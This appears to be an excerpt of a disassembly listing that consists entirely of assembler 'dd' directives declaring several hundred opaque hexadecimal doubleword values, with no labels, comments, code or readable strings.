dd 0F7EA602Eh, 8F5995DAh, 55784218h, 88212575h, 0AF5C5AE2h
dd 1DC47D5Ah, 6884A594h, 0DBFE423Ch, 0F43F16B6h, 2E8639F2h
dd 475B16CBh, 0BE566580h, 5C3209F6h, 11750140h, 0F57C55D6h
dd 7A1462Ch, 326992BDh, 3161F289h, 505801BFh, 0D3291EDCh
dd 4FE4B82Ah, 0CB01BCF1h, 81889310h, 2BE01EFh, 1B4D8768h
dd 8005578h, 2AF56A08h, 8A4AE97Dh, 7CE18D89h, 0C674407Eh
dd 4FA539C4h, 0A2BE17F6h, 1632BCB9h, 2FC78A2h, 0D047B392h
dd 35B505F8h, 47B0C8E9h, 4268125Fh, 93D38C34h, 0EE26414h
dd 709F01A4h, 0DDF7128Ch, 5EAB6691h, 0A39B19C2h, 0FAC786A3h
dd 1602FCDDh, 75640042h, 911C04Fh, 0C47184B5h, 215832F8h
dd 0F8130225h, 0C0A752D9h, 28CEEF31h, 58DBF828h, 0DBE13980h
dd 81AEC99Dh, 40E91CF1h, 0FC886A3Fh, 18823B98h, 0A659EB2Fh
dd 5CDD4D19h, 206D87Bh, 0A8E9138Ch, 0E039FC1Bh, 73B4EB80h
dd 40FE9828h, 0F90CB3ADh, 1E06E3C0h, 70C1E676h, 75D978D5h
dd 825B4AE9h, 71E1C8E5h, 0FF0484h, 7247B6E5h, 0F74A3160h
dd 0F22590E6h, 0D6212982h, 27504D7Dh, 0E958417Ch, 5EBF9A9Fh
dd 0EC5035Fh, 0D6326A59h, 2BE85529h, 0DAAE2ED3h, 0A5424117h
dd 7F289B68h, 39FDC598h, 0A43BE980h, 417097DAh, 2F6CF106h
dd 127456FAh, 0FE6D50C2h, 32A9D00h, 53097C87h, 621072F1h
dd 8632603Bh, 17E854Bh, 0F681FB8h, 48F03146h, 28C14818h
dd 527E591Ah, 2C5CF13Bh, 8BE98F8Bh, 1FF153B5h, 586D2C01h
dd 6D4C2868h, 531D390h, 0D37DC394h, 56496D04h, 3D9AB954h
dd 0B86417E8h, 0D8139AE9h, 7BEDE798h, 5A144832h, 0B0AF4C5Bh
dd 0C5FC4AF4h, 9B30AB4Eh, 183B652h, 86A8B450h, 85C3FEDCh
dd 37C48008h, 8B90982h, 0EE01C283h, 7603BADEh, 0E4382328h
dd 49400DBBh, 20F221BFh, 2B1B90BDh, 0F91002CBh, 1E807779h
dd 4B763B4h, 26F6E730h, 5C12F9BAh, 7D0B5455h, 0BCAAE314h
dd 49D9782h, 683E8066h, 18B75D59h, 2C80CF46h, 5CAF9C2h
dd 1490E9A1h, 4D002472h, 5706090Ah, 0D5796856h, 0E96FD60Bh
dd 5D48A4E5h, 7BAEBD80h, 5E407CD2h, 5A890408h, 6E88EF2Dh
dd 92AC5986h, 3D52DD1Eh, 5895C433h, 80B1B2C0h, 9729EA3Eh
dd 2F20CEEDh, 1EC90906h, 39C2016Ah, 21400851h, 4B896CF5h
dd 177842Ah, 18119BA5h, 2022E7Eh, 487609E9h, 0BF38B380h
dd 0DA00DD66h, 2942A066h, 5B5EF5h, 1F3FBF57h, 7FE923CAh
dd 8481205Ch, 89F4EF90h, 734D005Ch, 32C12D77h, 12B892C2h
dd 0D7F0D698h, 5EDD6225h, 3165031Bh, 0F1FB6EFEh, 57081C40h
dd 9B74FFCh, 510C56DAh, 1A8F2B5Eh, 75A4E909h, 7325D2FBh
dd 0E27EA625h, 5B80B4A0h, 31FB0FD3h, 58C52909h, 4354CA2Dh
dd 0F82A2092h, 11E7E280h, 0F1214727h, 69ED6764h, 0BB01EFF9h
dd 588714A5h, 830E857Fh, 131EA870h, 26320FE9h, 439E5489h
dd 0C2A5F74Ah, 0B9F79h, 397E7707h, 0A113BA2Eh, 0D9288FFDh
dd 0C7F3FEC6h, 1D0270BCh, 0D62F202Ch, 0EDAA6F7Eh, 89E62E0Ch
dd 39571CB9h, 22EAD2AEh, 0A3552B48h, 3A8BD4Ah, 5EEDEB8Fh
dd 73D93127h, 0D3523983h, 9E0CE57h, 0B1EA5AE9h, 0D8DC22A7h
dd 59E956BDh, 51249D63h, 9D1B15C2h, 13C32912h, 4644FE5Fh
dd 0CD8F301h, 40609855h, 0AD4866EDh, 0EC261696h, 16CECA34h
dd 496EB84Ah, 0D5668956h, 74854190h, 685C1686h, 13EBEDEEh
dd 5CBD8078h, 7C915215h, 8150D39Eh, 21EA216Dh, 8A14F245h
dd 0B5B265BCh, 2B61FF43h, 10586EDh, 8C2C8000h, 0BBD9AD14h
dd 32AC79C8h, 0B83A0502h, 6F99CC82h, 0B905BCE4h, 23867650h
dd 7EF591AAh, 535CA779h, 0B3DF3ED7h, 21FBD38Ah, 8073F482h
dd 1C68038h, 5A66F586h, 0EC380350h, 5BC0FC88h, 5898E508h
dd 0C0D5F612h, 800A8918h, 19E35CC5h, 5C507A27h, 595BC375h
dd 0E1925F1Dh, 95126884h, 340F58Dh, 69273876h, 0A2A1DC5Fh
dd 9C6DE380h, 562D194Eh, 0F028C222h, 41D86277h, 94652DFAh
dd 24FCE2D0h, 352E7FC6h, 0E6C304F5h, 0EBBF00ADh, 393DA36Eh
dd 0E727EFD1h, 34FC5EC0h, 0E9B0885Fh, 40EE416Fh, 0F50CB0FAh
dd 0A65DE19Dh, 9AEF1783h, 0ACBDF72Dh, 2ABB5113h, 0BD0C5CD6h
dd 8257FCABh, 0D9E3F78Dh, 4CDEA505h, 32584E5Ah, 0E11D18E0h
dd 34B67941h, 0D97F09C1h
dd 7FD84059h, 0EB013E96h, 7B9238C5h, 880502Ah, 344D4B4Ch
dd 277CA84Eh, 8195617Ch, 0B6B1DC6Eh, 0D0B850F2h, 555C0B9Fh
dd 0AB98FBB6h, 594BB2BDh, 0FBE989D6h, 0FB82CBE2h, 5C04D7AEh
dd 5550CEADh, 500317F9h, 1822B856h, 0E911FEC1h, 77E65BDCh
dd 0F0B2B23Ah, 4F6003DCh, 4C88A1BFh, 8441A629h, 7396492Eh
dd 0C84AE3FAh, 40383DE3h, 0BBF69AE4h, 84C2BB72h, 1D1CBF93h
dd 82FAD5E3h, 564ABB02h, 7A700814h, 63096EFCh, 4B77AAh
dd 233819E3h, 0B16B066h, 0EE7916F2h, 314AFAF0h, 13D333E2h
dd 0F622FB50h, 0B72F8FDh, 5153DE87h, 0FC78B405h, 4CFE907Fh
dd 80661091h, 0DFE68102h, 9C87CC21h, 0E8D4D5D6h, 0BAA34ECAh
dd 0E5E98199h, 1C13400Fh, 187BDB71h, 7D05A34Fh, 3FC2CF30h
dd 208E5A7Ah, 0D5F705ABh, 0EA7B808Ch, 127F6C1Fh, 1081EDD1h
dd 164009ECh, 0A154E689h, 91ED5F58h, 227A5A24h, 584AE8B7h
dd 0A3474C8Fh, 4122C350h, 0C22880F1h, 5F9946ECh, 4890B058h
dd 1E382402h, 0E975EF02h, 744AA425h, 223B0699h, 0AEE203D8h
dd 0D921EE40h, 1689AAC6h, 3582F931h, 81002D43h, 4C0ED4CDh
dd 0F502914Fh, 5DE427DEh, 681A81F5h, 9A760DF8h, 48031804h
dd 0C217C265h, 3B037C0Bh, 0FA345DF9h, 20C2012Ah, 0BE0C3A9Ah
dd 884B36A3h, 0D20B953Bh, 0D7FC2F16h, 47B719BAh, 56884A4h
dd 920DB96Fh, 8532FF6h, 0A020CE2Bh, 0C85A2DAFh, 95319BCCh
dd 5EF7B79Bh, 6D3D61C6h, 13B87064h, 5DF0427h, 0A3218F12h
dd 0F18D5AA6h, 53C0C07Ch, 0E96AB8BBh, 0AB42850h, 0E297682h
dd 68A5384Fh, 3BC9ABC7h, 4F08B8F4h, 3179A13Bh, 0D701F52Dh
dd 0E91A3362h, 87B97042h, 0B410139Bh, 5A5FD52Ah, 721A02E2h
dd 0F9C2D987h, 0C0958487h, 0EA8335A1h, 0FBC2CDFBh, 946E0750h
dd 75EF1FD2h, 8479BC51h, 8100CAF0h, 8434BBF6h, 90C2260h
dd 133EC606h, 0A8A96BE9h, 0A0193E2h, 67CC0EE4h, 9E9677F8h
dd 66028A78h, 0AA4DBAE2h, 998B1267h, 93BDDAF3h, 371EEE87h
dd 0AFAB0F6Fh, 0ADACF35Dh, 7EDBC810h, 276DBE14h, 4BF335A2h
dd 0F6A60EAh, 0BEA1C0B7h, 4112CAABh, 96686F7Bh, 33B40C9Eh
dd 0DC58B530h, 0C03203EAh, 0B4FE05E5h, 0A6DAC1AAh, 8BF278E4h
dd 3EDDFE5Eh, 3A08CF1Ah, 7402197Eh, 0B260D232h, 0AD9940A5h
dd 469E2C1Bh, 0A285173Ah, 76680895h, 94F83E11h, 0EF280E1Ah
dd 93F006EAh, 0AF601A5Ah, 6076C440h, 0AF47143Dh, 0F4FD0907h
dd 9B43092Bh, 0F7425E76h, 72855E1Ch, 87226989h, 7F643C68h
dd 0E6ADC62Fh, 456A0F9Ch, 0CEAB4BA6h, 2FBB50D4h, 0FB3E424Ch
dd 0A1539857h, 0EF3CC058h, 0BCE39803h, 0B40A5465h, 1727603Fh
dd 0EAF03E98h, 180FE917h, 0AD9C1FACh, 5893C55Eh, 0E97102EBh
dd 65E8B7F3h, 622769B9h, 816E5648h, 32D166F7h, 0E6176A55h
dd 9B413F8h, 79A019ABh, 5B3758F1h, 250C3160h, 8022C36Dh
dd 8C0029ABh, 55515662h, 124F6857h, 6F3041h, 12AAEF67h
dd 74C2239Bh, 0E01C3E96h, 8BFE8591h, 45902B2h, 0AB68694Fh
dd 0F249DA6Ch, 0EA894A9h, 89E9CA31h, 5C4EAF78h, 0CC5A6FCAh
dd 0CB4C2995h, 0DAB4B56Ch, 11B40EEh, 20B8FE4Ah, 7FF189A1h
dd 21741584h, 0E9D342EEh, 1F4690BCh, 14B2B1F0h, 1EB6813h
dd 4113F8A3h, 6D7668Ch, 154BEAF6h, 0FC4A60A6h, 0D9C993A9h
dd 1269DF60h, 0AA3D31D6h, 3AA03216h, 0BCEEB26Eh, 0C48C736Ch
dd 4E9DA823h, 0E9850B8Ah, 3C7DA4AAh, 0BDE62B5Eh, 0E90A06D1h
dd 84D67513h, 0A233F568h, 0E9EB6117h, 0C324C080h, 5D580155h
dd 81689545h, 3F438B75h, 16B157FEh, 4AC20819h, 6C6CC46Dh
dd 0C8404243h, 468B0B35h, 900401D0h, 51051394h, 2CBEA4ACh
dd 0BB500FB2h, 5A888C36h, 0E8DD4FF7h, 0D57D75EFh, 0E5ACE735h
dd 4F53CAAFh, 69323DA7h, 41F06447h, 3CFA120h, 5753CA81h
dd 65D912EAh, 0BA1680FBh, 4DF04991h, 24D261F7h, 6F71355Fh
dd 0E5B0E07h, 0F2C02DB7h, 4A996EA0h, 0EFE9C06Ch, 1A4A0F90h
dd 415DDFB0h, 84CC6A95h, 2EEB413Dh, 0CF895A8Ch, 0D5EB572Ch
dd 0E1C17540h, 781073Ah, 40593966h, 0FEB471E2h, 0B2E56B3Ch
dd 3A5F300h, 5EE93862h, 0AD67C329h, 5246C4B4h, 400BAA1h
dd 9B14BF57h, 0A1A24EDCh, 5A5D68B6h, 7FFA50C1h, 0CA41314h
dd 5AA92C03h, 0F33B2181h, 0A3ED93BFh, 1758CB92h, 0DCB1ABE9h
dd 9351E32Bh, 0FF6BBEC0h, 4FE91860h, 0B4E56B32h, 14BC4016h
dd 4D34C601h, 207079F2h, 4A46EC18h, 0F8DD1669h, 76888BB0h
dd 0FE4274Ah, 236292F4h, 6C6387h, 0D189515Dh, 8F4187B0h
dd 6BDB893Bh, 6618CCE7h, 55E0BB8Ah, 339CB5F0h, 34D0F603h
dd 0C0D8A1B8h, 2E2C05F8h, 55788B3h, 8403CD80h, 0AEBCD4BAh
dd 0E290CC83h, 0EC9560EDh, 1FEBF259h, 9DE3284Ch, 0E5E94BC3h
dd 0D6098062h, 8C13FDDEh, 560ABD09h, 60BC3CCBh, 98E97D84h
dd 0A148B8A3h, 58037F78h, 15F370E7h, 58CB8BF9h, 0C05369A9h
dd 0A3C08F5h, 0F9307B08h, 7FEC123Dh, 0ED6C63D9h, 33CB68F0h
dd 59D492B5h, 0B367252Ah, 0CAA25013h, 58C05827h, 0E797BD95h
dd 409E3553h, 7FF1B934h, 81B5401Ch, 7C3F4FB6h, 4DF25A80h
dd 0BA5234BFh, 99133A0Bh, 9734D411h, 3BE5B1FEh, 0E91242CFh
dd 7FA9E150h, 25E9DA38h, 0E8F40EFBh, 56082F5Bh, 6097A046h
dd 57A5A9h, 0FBBB1C0Eh, 312A0870h, 8DFF82B5h, 0C09BCCDCh
dd 5F35D9B0h, 0D303092Bh, 0F7CB875Ah, 0E4085AD1h, 0E0E0C3BBh
dd 410B3540h, 8DA3616Bh, 0EC1590Bh, 4483F100h, 0D4EE6986h
dd 0B5873ABh, 338CE1BDh, 326BF335h, 885429E1h, 0BDFFB08h
dd 9B574481h, 0F0B3EA52h, 3CA4E815h, 0BAA574B1h, 12FD8B89h
dd 1CFA02Fh, 4BE9F229h, 146F8551h, 653D7375h, 0DE003A25h
dd 205DCBDh, 67BB5100h, 1BE0772h, 20C2B8EBh, 0B1F29F6Ch
dd 28ED5801h, 9A17B8BBh, 91417FFAh, 89B03D4Bh, 0F713E296h
dd 7B182D01h, 0C1CE3EF8h, 0A0B6E913h, 480105F1h, 150BE45h
dd 7442DE8h, 5A29DE8h, 7D63A97Dh, 0D5917B02h, 0DCA5A274h
dd 1021A490h, 43681EB7h, 0A820283Dh, 73C03B4Eh, 263825h
dd 0E0D19F0h, 351C320Fh, 1239C303h, 0C71A0563h, 0B9E08CA5h
dd 2D9EB821h, 0C3BA949Dh, 0FC65E005h, 89BB3ED2h, 1521048h
dd 2C3B1C54h, 0D68DB8DAh, 19A8950Bh, 50F31094h, 2500D04Fh
dd 81417DBFh, 764A2FF1h, 0E8524F84h, 4C86D933h, 43566F96h
dd 0CBB3750h, 2E027BE1h, 9816BAB6h, 4B2CBB41h, 0AC43CEA8h
dd 96419CC9h, 9B123F5Dh, 0D1B84E0Bh, 0D030BC8Fh, 0BE33EFF7h
dd 0B4869F65h, 0EE5FF988h, 0E844B786h, 0BD596D98h, 96F25E67h
dd 9FF8F87Ah, 280FE2C8h, 97B3D84Ah, 0AEAF6812h, 82B35232h
dd 0FBBCEDh, 0C85725BDh, 4DA1554Fh, 2C7419F5h, 50F30728h
dd 466633B0h, 9F924CF6h, 607E833h, 280D8904h, 0EEB41968h
dd 0B652B3C0h, 0F5880464h, 9098EDE9h, 508E0A2h, 7562BF0Bh
dd 0B57068h, 115EB5Ch, 0BB5357C2h, 0DF8909A0h, 2EC2A9B4h
dd 7405098Ah, 7D8F968h, 9AE3B94h, 12B4C5B4h, 1A4207EDh
dd 6BC1392Eh, 8C1270Fh, 9268CA25h, 95E00312h, 31F25F97h
dd 7780557h, 0C7AFF004h, 126A3639h, 894953B7h, 1B68997Ah
dd 10E0446Bh, 42BC60F6h, 84CF0E2Eh, 0CAAB03DEh, 3E35EA3h
dd 2BADE987h, 18C72242h, 9F8FFA2Dh, 76248965h, 55032DCAh
dd 12E9342h, 2A096C24h, 0A0D70173h, 1CD0081Ch, 7C5A2D14h
dd 29D259D4h, 0BB432A49h
dd 4BAF8580h, 68346B26h, 8A3723Ch, 45601C1Fh, 61E92A04h
dd 0CF7B20E1h, 59E912FEh, 0EF254B4h, 27D476F7h, 4F6EE2C0h
dd 0F29D7902h, 96EA00E5h, 2945538Bh, 0E42CE9D7h, 0C0A509A0h
dd 7147FEFAh, 3C7B9D1Eh, 68BE0A7h, 4E791C4Bh, 12EB35Eh
dd 32E5115Fh, 0BD78A361h, 0C8AF0FC0h, 1B5BF9E9h, 80F4ECBCh
dd 2EDA05C4h, 8902D70Bh, 0F5F005C6h, 63AA3F24h, 52D538C2h
dd 2540487h, 0E50AD8ADh, 94665C88h, 922042E0h, 1328EEFAh
dd 6322067Ch, 91BB3B9Ah, 0B1316D96h, 0E9034071h, 6148F432h
dd 1F360B32h, 790B02EFh, 34305A2h, 0AC0D87D9h, 7BE0C397h
dd 9031182Ch, 558B3C9Ah, 0E85D4FA5h, 858C483Eh, 0C9C3525Eh
dd 0A862FB6Eh, 2F80B9BAh, 0EC85736Fh, 38DAB42h, 0F2052528h
dd 0C1E8B09Eh, 7E1148C1h, 41A1F4CCh, 5F60297h, 0EEC61B00h
dd 0D7093163h, 4EB1792h, 0D3F1DE00h, 8301707Eh, 0BD6855F2h
dd 205C3DB0h, 95522C10h, 5925BFA3h, 80FB255Eh, 0E9525F82h
dd 2DEA56D9h, 0B22DD75Bh, 795784C8h, 501031FBh, 0F7634254h
dd 0B96D4F0h, 80C069D0h, 0BBF5966h, 415BD6DFh, 955FF268h
dd 4BC0B029h, 76F08546h, 92CB055Bh, 266701h, 3F2789E1h
dd 3ECC121h, 7E01BD90h, 1FE49F7h, 25705BDFh, 0F147BF6Dh
dd 6735D330h, 1FF10428h, 0E2712B68h, 1E185097h, 0F1E59841h
dd 4B4DCB7Bh, 90C2A944h, 0C4805A01h, 68956E60h, 0E9E31D80h
dd 522E5E8h, 0C95B7248h, 2440F99Eh, 2EB0C115h, 0E66820EFh
dd 0CB786613h, 0CB7EE90Ah, 5A4A6E40h, 1A0B759h, 561F7CD9h
dd 0B261F9A2h, 49133BD7h, 52FE73FEh, 74C35400h, 0DBF723B5h
dd 0B0F30481h, 0B8A1909Bh, 3DE9176Dh, 0B33E8EE1h, 65BBB1A2h
dd 1E9E1A40h, 8C19484Bh, 0A66D017Eh, 0D2E9401Dh, 7EFB39E3h
dd 8C65EC4Eh, 28F789BBh, 7E3AB206h, 88500B43h, 0CC7BDD02h
dd 4B1F7Ch, 1835E155h, 0E65EC41Fh, 0F74102B1h, 59E082D9h
dd 0AB210575h, 2BF4B842h, 70F6C024h, 0AAF39F8Bh, 19F32B2h
dd 6F91685Eh, 2B96785h, 511004D7h, 46EA12EEh, 0DD7BABF3h
dd 6EC45EFAh, 3B1C7ECEh, 0F9FEF602h, 0CA7FAC75h, 5D14FDFDh
dd 0CC88EAB3h, 0E79F3D01h, 6BD40F5Bh, 0FC90D67Dh, 53EDD224h
dd 2E87E9C2h, 9AFB0009h, 9809AF61h, 0B773E413h, 0EBC7B6B0h
dd 0E12E8082h, 0F631BA70h, 0FD1C5B6Dh, 64C8862Bh, 0F0EE7975h
dd 0B6954ABAh, 2D257A51h, 0CB0251E3h, 0A42D14D5h, 0DC619F2Bh
dd 5856340Ch, 0D24AF8ECh, 0C28019C9h, 193E3881h, 0D65BF75Eh
dd 2BE65F80h, 8062C07h, 5FF8E7Ch, 7F5C89CDh, 0EA14FD1h
dd 0D35F5606h, 0B95FACC3h, 903FE7D1h, 0B99610FBh, 8D85945Bh
dd 0D9212712h, 597C1CE9h, 3C6ABE70h, 0FDDC5BF4h, 9C9DEFBh
dd 42765627h, 0F9795058h, 17C4108h, 0CB69CFBBh, 12942006h
dd 0ABD62E12h, 0C26731ECh, 323EF65Dh, 8030CD5Ch, 0D59D6AEFh
dd 9FF5F66Dh, 77DC678Bh, 9AEAC327h, 10AF7213h, 40C770EAh
dd 54E648B6h, 0C4E93409h, 0F17F24CEh, 0B9355AFFh, 8E279476h
dd 0D62A4F0h, 0C08AEEh, 0ABB2664h, 1BA2F181h, 384BDB2Ah
dd 2DE93E4Eh, 56947D02h, 14C42932h, 0F54FA5F4h, 4EB34E28h
dd 0D384F8C6h, 0E9B12BF8h, 1CE38B1h, 0FE02E1C0h, 0BF2851C1h
dd 0C9805904h, 0ED4784F8h, 0F2F7028Ch, 804CB30Ch, 6544BCDEh
dd 2AE91832h, 88595017h, 1877C16h, 405255B4h, 72F56682h
dd 635912EAh, 56B497D0h, 0AEC5A009h, 742D8077h, 0F0664716h
dd 0DB49ED5Fh, 55B81A19h, 7A20793Ch, 0D326EA96h, 5CBE0167h
dd 709D2194h, 1C5A8312h, 107B55E1h, 0E91708DDh, 6834B0CBh
dd 6C3BCF25h, 15F39D1Bh, 7808716h, 0F05FCC80h, 0CDBE5A33h
dd 0ABDB20A0h, 10BA78A3h, 0D089F8DEh, 0D0B25EC0h, 3B9D8CF6h
dd 0D4D6DA93h, 432C05F4h, 53FAC020h, 0FE398CB7h, 4CF35C7h
dd 0EE809FE0h, 0F6889762h, 85CA38AAh, 37D9BA19h, 813E2931h
dd 331B4FCEh, 628D103Bh, 0F32D4009h, 8628AA56h, 8427F158h
dd 22E4B316h, 2B9F027Bh, 5FF901F7h, 81BE3075h, 434801E5h
dd 64E92BABh, 43682C67h, 193F3077h, 7D5157BDh, 27567B15h
dd 0CA59994Bh, 7C748BC9h, 0E9C240A7h, 799917EEh, 0EB38FF0Fh
dd 9280800Ch, 953EDC0Eh, 500103D9h, 15BE0FCh, 5E0FE620h
dd 17CE20Dh, 8E43C581h, 846E1B38h, 923EFC9Bh, 0B94A77ACh
dd 71C4A522h, 9C51CE98h, 7BD142D1h, 608BB851h, 50015C01h
dd 0F99DA650h, 2128B258h, 22D66801h, 0AD61CC2Eh, 0C0538097h
dd 3D8006EBh, 74A7C9C3h, 0D6BDFF00h, 37007332h, 66B7CD81h
dd 49E962D8h, 5C273B2Fh, 0DD68F0DCh, 1472133Fh, 5CD670BFh
dd 880B5153h, 61B8E9D1h, 37B0BBE1h, 3BCAEBBEh, 7A4B0D2Dh
dd 0F70883BEh, 59407880h, 98FBFC19h, 6B10614h, 2A456ABBh
dd 61C63A01h, 5FFD2951h, 25E9EBCCh, 41E8DE4Ah, 0AB242B40h
dd 9802CE12h, 4060B636h, 65DA7DCh, 0D33161EEh, 0F3066A5Ah
dd 191150AFh, 0D9030292h, 0DD01533Fh, 65E748C1h, 94B5E39Ah
dd 0B186AC21h, 0D14DD727h, 6A5B4042h, 3DDC37h, 343CEEC9h
dd 0C62B268h, 0B86C335h, 2129EA91h, 0BF7F4482h, 5DE39CDCh
dd 4A765260h, 203C0402h, 0C70EFFDAh, 84E20967h, 86916E72h
dd 0EB41CBFEh, 34892C3Fh, 2130B666h, 999DE7FEh, 6705792h
dd 0F49C4894h, 5AC351A2h, 32A6B540h, 37D3431Eh, 23ED53D6h
dd 0C9FDC200h, 0D789BCC0h, 50C94A99h, 4D09BF90h, 8A659785h
dd 56A04E35h, 1A132F2Ah, 0EF95D172h, 0FF9D884Ch, 82BC5C2Dh
dd 39CF54EBh, 1795A660h, 18CCE91h, 0A8BCF84Fh, 5C685784h
dd 1503B8F3h, 0D10EBD5Fh, 72E9EAE1h, 42592F27h, 81B2D713h
dd 80B76575h, 4CD406BCh, 0A11C2548h, 55931727h, 0DEA5C30Bh
dd 0C422D26Bh, 70BA0EFh, 2A02B507h, 1FDFFC4Bh, 72C6CB08h
dd 0CD62A254h, 459977FEh, 0D7A02B54h, 256940EAh, 1F06FB00h
dd 7685502h, 0A49C5A26h, 0C0FB1D83h, 0E427E961h, 64346883h
dd 53C22740h, 0E307C00h, 5F90137Ah, 476BCBh, 773C1259h
dd 0E3810238h, 69CC022Ah, 676C9C40h, 31C8D200h, 892D5BDFh
dd 97637411h, 780F470h, 732A685Fh, 0D0BD7C3Ah, 220C09F1h
dd 9F046A9Eh, 6A3E4EAh, 2DD24BDh, 0C23390AFh, 68130355h
dd 260B2901h, 0E59C2B62h, 5C97BF63h, 0DCEBB90Bh, 268564A5h
dd 0CBB55F3Dh, 8A5CB95Ch, 0B8A460F7h, 20F0B2D8h, 21F42EF8h
dd 44E8295h, 3689C0EDh, 0EE4C8352h, 0F40E7C93h, 972CF028h
dd 622F2DB1h, 0C6C15113h, 25B07A7Dh, 33E12E80h, 0E4061CA6h
dd 0C9FE09F9h, 0E6EAD102h, 89E19E7Ah, 0E5F093Fh, 0CDB45699h
dd 0B75E9868h, 0E989C4F1h, 0BE2626A6h, 21DECB18h, 2BD3844h
dd 0A2E14D05h, 4106E3C4h, 2A6457FDh, 9BAF97BFh, 0F478DF49h
dd 0B7E11E95h, 80B7F752h, 0BA223B1Ch, 41F9A208h, 0F5707D48h
dd 0ACAA5E11h, 0F2179E12h, 0EEA685h, 1EB2BDD9h, 1B857B8h
dd 506C4A09h, 49B98320h, 516DB7Eh, 0F6B2FD0Ch, 7112AF41h
dd 785A200Bh, 0D313BE77h, 29779204h, 0F1F81866h, 2C7D5F0Bh
dd 0B06508DFh, 92BA9426h, 0D8C85E2Ah, 4FB2FC43h, 0CE8BCCE4h
dd 0B8BD0B2Eh, 5D97C8A6h, 0CFA3DD27h, 54B2227h, 2955E197h
dd 0F521068Fh, 0E9B95160h, 494E7356h, 8912C6A8h, 4754D8E8h
dd 8AA9264Fh, 9FCBD1D3h, 0BADD04BCh, 0BD5DCCF0h, 93BDC15Bh
dd 33AEE890h, 69D28896h, 800124F6h, 0EE282EC5h, 0C7DD34E8h
dd 94AB2C14h, 4A0482D8h
dd 7BBDC870h, 0B3B801F7h, 2B671201h, 271CD3C0h, 251A023Dh
dd 5A8C616Bh, 0E904ADF4h, 0CDFA0849h, 0FFD52EE0h, 0D11E4D04h
dd 99E2AACh, 0EC4BD218h, 7A615F8h, 8834095h, 9544EA59h
dd 11818846h, 1A5DBC58h, 754061DDh, 542429CEh, 10409EF2h
dd 0B7093341h, 2B5B03C9h, 949D2EB2h, 0E64B14EEh, 0F70E2CCCh
dd 2ED4FAAFh, 6BBD7F03h, 0DD41A04h, 81ED945Ch, 73FA1881h
dd 3D582E3Dh, 0F12D8A5Dh, 1D04AC93h, 0B2230DFBh, 0CC3EE9B0h
dd 0C8964EBDh, 0BE017264h, 40EA7B9Ah, 0BC83903Ah, 0FEC07F59h
dd 0B5D0BAEEh, 5308BDCAh, 0F12D08E5h, 63FC6804h, 569E63FEh
dd 66054FD9h, 55BA026Fh, 0C0482B3Ch, 82E0CC35h, 569E70E3h
dd 5A5BFA98h, 0DBCE3761h, 88DAF601h, 17663738h, 0F90ED2Dh
dd 0C1DF0559h, 2CE93AA9h, 0CADBD16Fh, 37E2F8E4h, 46B8F0C0h
dd 0F8093839h, 0A06C25E9h, 5C9935Eh, 0EB2067E7h, 0E4F37CE2h
dd 2DB5EF7h, 30D66829h, 19654BFCh, 0AEBDBE4h, 10272DBFh
dd 844E12E2h, 1F9FAA60h, 0AB5C1E18h, 0CA0553EBh, 0DA29FB7Eh
dd 16A611F8h, 7B173E90h, 0F843E41h, 0E90B03A9h, 30E960CBh
dd 0C4526953h, 5A05A267h, 8E0EC056h, 6E7DA03Dh, 206DCA27h
dd 0EA12A848h, 0B8589744h, 0AE6E5861h, 1DD604Bh, 87241F7h
dd 39F70C84h, 941F8107h, 3223EB0h, 1644F4E6h, 0EA6599ACh
dd 0D927E454h, 0E5E46FCAh, 3748E41Bh, 0F40021D6h, 6C61662Dh
dd 10050426h, 0EC7A817Fh, 9AC5AC4h, 464BE9B8h, 32BD7807h
dd 2D029691h, 0A6DC420h, 5E8294Ah, 725D1B07h, 1D1417C5h
dd 0AAE90432h, 295B02D6h, 24AA6CEBh, 12A0C301h, 0D430FE98h
dd 18DA6ED8h, 40EEC15Ch, 0D0829993h, 75DE0B57h, 95D19A5h
dd 1793DD63h, 0E9050609h, 0F670A5E0h, 0A13F4E9h, 3CF1BD5Bh
dd 655117D0h, 606B89E4h, 4F9DE1BEh, 813A151Ah, 0F43202EDh
dd 0C0DDF71Eh, 44B5F7Ch, 4CE90F85h, 15FA9D7h, 6B0E6178h
dd 1A04F301h, 0E4D71C08h, 194B2026h, 99BC00B6h, 42121AB4h
dd 0EA026B7Ch, 0C6DECB55h, 7C01E048h, 54ADA3B9h, 736AF22Eh
dd 9D26EC5Dh, 7CAD0851h, 0E42F5C9Ah, 287D7989h, 11D108FDh
dd 0B1023A9Eh, 0D0310704h, 0C9E9125Ah, 2068A713h, 4E0FFC33h
dd 0E0828987h, 5C91AC1Fh, 28FA0212h, 895E1B2Fh, 3F51A0CEh
dd 690771C5h, 0C8D167Fh, 542E3127h, 7717C6B0h, 9AE7F6Ah
dd 0CFF48870h, 5F20F27Bh, 331D5B98h, 8D338482h, 2C0FA610h
dd 0B8A7AB41h, 0CC5472D8h, 6F18E875h, 272995Ch, 22B87A98h
dd 0C60FA980h, 509F27E7h, 0EA9B495Dh, 814F873Bh, 5946BB7h
dd 0D2F68AFAh, 0A53A6843h, 260C0934h, 248B78B1h, 0C0FCCC40h
dd 3033E495h, 5293DFC6h, 88098BB6h, 54285AF3h, 0D0815B95h
dd 0A53E6066h, 9BDBC40h, 552F6306h, 0D671155h, 5076022Dh
dd 0D203FB07h, 79DAC0Ch, 668B16F1h, 47AFB1E4h, 8F404732h
dd 98FE59EBh, 3D20EF80h, 0ED295DE5h, 0EFB8E444h, 633BB802h
dd 416105C2h, 46DECAC7h, 5C97FE0Bh, 8FE485Ch, 5625E2C2h
dd 2FD41CD5h, 68A8A363h, 0A29E0A62h, 0D5C24062h, 117C313Ah
dd 485F56Bh, 4AF7FDC5h, 5AF5D7E0h, 8C748CE2h, 96EEA748h
dd 6E856EBh, 5B5BDA73h, 71CDE919h, 0EE20E135h, 692C9C81h
dd 9E9FE9F0h, 8E71B54Ah, 1E95C44h, 1BD3578Bh, 804FB2C9h
dd 4F1F5A99h, 0B1014E77h, 0B008068Fh, 7A9102FEh, 0DAC7A616h
dd 0D3BEF185h, 0E7E5E1Ch, 66C8A125h, 0FE1A9747h, 2791647Fh
dd 14BAB969h, 0EFFC7150h, 0C5B58C4Bh, 3F0758E5h, 55461D89h
dd 311B6817h, 74820037h, 22E65F21h, 0C00DBABDh, 80834157h
dd 4092EBC1h, 0E473EA00h, 5FE68119h, 726B1D69h, 48CEC24Eh
dd 73C0D33Ah, 131BB2EEh, 800C1A12h, 0A10A1B1Eh, 0ABF410CCh
dd 0B295FE2h, 7205D975h, 49E488D0h, 0A7425413h, 0DF054D09h
dd 0A2833998h, 57E2E983h, 8BBBB5D7h, 0E00B258Ch, 0EEE320F5h
